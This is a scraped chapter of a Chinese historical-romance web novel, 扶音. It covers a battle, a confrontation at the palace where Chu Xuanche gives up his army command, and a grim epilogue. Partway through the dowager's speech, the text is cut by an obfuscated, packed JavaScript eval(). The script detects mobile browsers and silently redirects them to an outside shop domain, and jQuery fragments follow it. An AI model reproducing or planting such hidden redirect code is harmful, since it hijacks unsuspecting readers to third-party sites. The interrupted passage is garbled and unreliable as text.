文趣网 > 都市小说 > 扶音 > 51. 第一世
    闻此一言,萧远山倏地笑了:“朝廷?援兵?你把我萧远山当什么人了,真以为龙椅上那位会为了你们的命派援兵过来?珣兰小儿就是赌这一点才动手的,要我说,你们把婷儿凉儿放了,我劝一劝徐英王,让他只要城北一块城土然后就退兵,如何?”

    “看来你早就知道掌局者是陛下了,我没猜错的话,梁文正的勾当,他也早就知道吧,为的什么?楼将军和楚玄澈的兵力吗?我看盯着兵力的也不止陛下吧,还有你?”

    沈姒音一语道破。

    萧远山不兜弯子,扬声大笑:“果真聪明,可是你能拿陛下怎么样呢?就算你为了元景今日赢了,那楚玄澈又怎么面对他龙椅上的那位皇兄?太子殿下又怎么面对你?他会为了你,和自己的父皇闹掰脸吗?”

    “那就不劳萧将军费心了,吾自然会为了音音和本太子的父皇争辩一番。”

    话落,景珩领着援兵赶到,将沈姒音拉在身后护着。

    萧远山见状顿时懵了,他指着身前人,眼神恶狠狠:“你要为了这些人把事做绝吗?你难道忘了陛下多疼爱你吗!当年要不是我跟陛下求情,你早跟你冷宫里那个贱婢一起见阎王了!”

    此话一出,沈姒音猛的抬头,她盯着景珩的后脑,这才知晓,

    原来他这么病态,是因为这个事。

    “那也不劳萧将军费心,父皇疼爱我不过是看重了我的才能,他膝下十来个皇子皆短命愚笨,除了我,他还能立谁为太子,又除了我,谁还能帮他拿主意。”

    景珩坏笑,将多年来的真相公之于众,一切的一切,他都知道,萧远山曾把他当棋子,梁文正把他当棋子,连同陛下立他为太子都是迫不得已的抉择,所有人从一开始都瞧不起他。

    殊不知,他才是那个真正心狠手辣的人。

    “你那会儿明明不足五岁,你如何记得那些事?”

    “萧将军没吃过泔水,当然记性不好,真正在鬼门关走过一遭的人,自然会记得清楚,尤其是那些将他送进鬼门关的人。”

    说着,景珩扭过头来,安抚似的拍了拍沈姒音的头:“别怕,今日我会护你周全的。”

    “景珩!你别忘了!你将来是要做皇帝的!再怎么说,陛下都是你的亲生父亲!”

    另一边萧远山大喊着,不过也是最后的挣扎。

    景珩闻言重新转过身,冲他挑了挑眉,没心思再往下耗:“我知道,不用萧将军提醒,如今我父皇仍坐龙椅,吾暂且没有这个心思,将军还是顾好自己吧,毕竟元景只有一个太子,但将军有很多个,相信我父皇会做一个正确的选择的。”

    话出,他摆摆手,身后的援兵瞬间会意,举起刀枪冲萧远山的人去了。

    而刚刚准备找萧远山汇合的杨邵徐等人,见此一幕都刹在原地,他们的计划彻底乱了。

    等杨邵徐反应过来准备回头独善其身的时候,楼墨和楚玄澈领着另一波人已经追了过来。

    四面夹击,他们就如同瓮中鳖,任人宰割。

    沈姒音见势,拽了拽景珩的衣袖:“差不多得了,留个活口,这么打下去,元景的将士只会损耗太多。”

    闻声,他转过身,轻轻拉起她的手:“莫怕,吾有分寸。”

    两人再正常不过的互动被远处的楚玄澈尽收眼底。

    在他的视角来看,景珩和沈姒音就像是一对,亲昵至极。

    醋意上头,他强忍着情绪,通通发泄在了珣兰人身上,一个又一个倒在他的剑锋之下,快而狠。

    ……

    狼烟散尽,地上遍地横尸,萧远山中了一刀,倒在血泊中,萧婷哭喊着,被人押着,无能为力。

    杨邵徐被楼墨生擒,五花大绑被人如同牵马一半拖拽着,其余珣兰的士兵皆缴械投降,没敢再动弹。

    楚玄澈身上受了不同程度的伤,但也不算致命,他搀扶起地上的士兵,一个个背着送到推车上送医。

    忙活下来,天色已然暗了下来,沈姒音也没闲着,给伤势不重的人做简单的包扎。

    “我用了你给我的空白圣旨,逼朝廷放人,陛下可曾怪罪?”

    她心存余悸。

    景珩在一边搭手,给她递上绷带,轻声回应:“自是怪罪的,只是君子一言驷马难追,他既给我了,就没有反悔的余地。”

    “哎,回京之后,我会和王爷进宫说明,给你一个交代,你也莫要再跟陛下作对,如今你还年轻,只有坐稳这太子之位,才有掌权的权利。”

    “可若是,太子之位我不在乎呢?权利,我也不在乎。”

    景珩停了手,含情脉脉看着她。

    沈姒音反应过来,无奈叹了口,她继续手中动作,似警告一般:

    “我还是那些话,如果你执着于我,那我们只会背道而驰,连朋友都做不成。”

    话落,景珩还欲开口,楚玄澈却不合时宜的走了过来。

    他伸出受了伤的右手:“给我也包扎一下吧,我也受伤了。”

    沈姒音转过头,惊了一下,她猛的抬起楚玄澈的胳膊:“怎么被划了这么多道口子,你不会躲一下吗?”

    “人太多了,躲不过来。”

    他故作可怜。

    景珩见此,自嘲一声,识相的起身去到了旁处,沈姒音根本没看过他一眼,满身心都在楚玄澈身上。

    陆焱站在身侧,有苦说不出,他太了解景珩这个人了。

    若他所爱之人难求,那他就会想方设法夺过来。

    但沈姒音于他而言,是不一样的存在,舍不得她过得不好,舍不得她流眼泪。

    如若她亦有心上人,理智只会战胜病态的控制欲。

    起码现在的景珩,是这样想的。

    不得其爱,那就成全。

    孤寡一生又何尝不算是为她守身,何尝不算是体面。

    就当积德算了。

    “回府吧,派人护送他们一路回京。”

    景珩忍着泪,垂首往马车的方向走了,陆焱无奈,安顿好身边人快步跟了上去。

    另一边包扎完的两人也紧接着往反方向走了,萧远山和杨邵徐被楼墨的人押着跟在后面,其余人去逮梁文正了。

    唯有地上咽了气的横尸一片,还在不断释放着血液,渗进土壤,染红了地。

    这场权谋,死去的只有两朝为国而战的将士,最后名字都不能被人铭记,被人就这样撇下,不知多久后,才会来人给收尸。

    -

    皇宫。

    楚玄澈换了一身华服,手中端着一个小木盒子,不再似先前那般随便,多了几分疏离。

    “今日我元景大捷,还是多亏了澈儿和楼将军,要何奖赏,朕都满足。”

    景丰元假惺惺,还是没能彻底撕破脸。

    楚玄澈轻嗤一声,丝毫没惯着:

    “奖赏,我就不要了,陛下为了皇弟的那十万兵力,设了这么大一个局,我怎么敢还要奖赏,既然陛下这么上心,那我今日就上交调遣令,成全陛下。”

    此话一出,众人都惊了,纷纷替楚玄澈捏了把汗。

    景丰元再也挂不住笑脸,刚要拿东西砸过去,被太后出口遏制了。

    “行了,元儿。”

    “这么多年,你表面上疼爱澈儿,实则背地里一直算计他,哀家都看在眼里,闹了这么久,也该停了,儿时,你因哀家疼爱澈儿,争风吃醋挑拨宫女虐待澈儿,如今又怕皇位不保,不惜做出割让城土的事来。”

    “回头是岸吧元儿,你怨哀家这么多年疼爱澈儿不疼你,可曾想过是为何?你执政多年,元景国泰民安,这不都是你作为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820224|205399||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    君王的功劳,你自幼聪慧,让人省心,怎会想不到这一点,吾从来没有提拔澈儿的心思,他是王爷就做一辈子王爷,你为帝王就做一辈子帝王。”

    景丰元愣了。

    他抿着唇,略有一丝动摇,从小他善妒,恨不得楚玄澈消失在这个世上,还他一世安稳。

    而楚玄澈也懂得这个道理,他本就无心参与斗争。

    盒子摊开,是十万兵力的调遣令:

    “臣今日将东西归还于陛下,承诺不再踏入宫门,不再参与朝政,只求与家妻携手共度余生,望陛下成全。”

    “君子一言?”

    景丰元半信半疑。

    楚玄澈闻声,撩起裙摆跪了下来,他挺直腰板,将木盒双手呈上:“君子一言。理应驷马难追。”

    “那朕就成全你。”说着,景丰元接过来,难以掩饰喜悦。

    楼墨站在一旁,没心思再待下去,他弯了弯身子:“既安定,我便回边疆了,陛下保重。”

    “楼墨,此战你立了功,要何奖赏皆可以跟我提。”

    “善待瑶儿。”

    撇下这么一句,楼墨头也不回的走了,他还是没想着原谅景丰元。

    身影渐渐远去,景丰元哀叹一声,视线落到不远处的沈姒音身上。

    “逼迫我儿拿空白圣旨找朕派兵的那个人,是你吧?”

    沈姒音没做否认,也没肯定:“为守元景,何谈逼迫一说?是太子殿下心系天下,我不过是出出招罢了。”

    言出,景丰元收敛了笑容,略微有些感慨:“珩儿他,对你情深义重啊。”

    “但小女对他,只有义重,没有情深。”

    语出,楚玄澈唇角勾出一抹淡笑,他站起身,挽上沈姒音的手,最后拜了拜景丰元:“如今我已让权,陛下就不用再挂心了,我与家妻会搬离京城,从此远离朝政,至于萧远山和梁文正,就由陛下自行处理吧。”

    “也罢,事情闹到这个地步,是朕对不住你,景安王府的府邸会帮你留着,家眷人丁我都会安排到你们的新府邸,至于这沈逵嘛,得留在京城,当下没了梁太尉,他得留下辅佐朕。”

    沈姒音稍有犹豫,转念一想,沈逵一辈子都在尽心为元景效力,他必定会选择留下来,便也就应了下来:“我阿爹老当益壮,为陛下左右实属应该。”

    “那就说定了。”

    -

    最后跟太后告了别,楚玄澈牵着沈姒音出来。

    “总以为这事要闹很久,没想到这么快就解决了,说来也怪,陛下这样的人,竟然也会生妒。”

    她道。

    楚玄澈垂首笑笑,将她手握得更紧了些:“我出生时,他刚刚坐上皇位,我的乳母疼爱我,太后疼爱我,对当时的他确实是不小的打击,毕竟初为帝王,却无人教导他,所有人的关注都在我的身上,生了恨意也是情有可原。”

    “怪不得,太后总会说那些奇怪的话,原来她一早就知道啊。”

    “偌大的皇宫,往往身居高位的,就没有一个是清清白白的,我们尚处三界,自然不知这凡界的礼仪尊卑,只能说人各有命吧。”

    话落,沈姒音撇撇嘴:“你还教上我了。”

    闻言,楚玄澈笑了笑,凑到她耳边:“我的错,下次不这样跟你说话了。”

    ……

    景昭四五年,景安王与其王妃在甯江一带遭遇不测,无人知具体原因,只将其早早抬棺合葬。

    此后,其家奴遣散,各奔东西。

    景昭四五年末,圣上再诞皇嗣,取名逸字。

    景昭四六年,太子景珩自刎于别院中,留千封信笺,皆为沈氏姒音而撰。

    景昭四六年末,立景逸为太子,封其母楼氏为后,掌管六宫。

    景昭九八年,国末。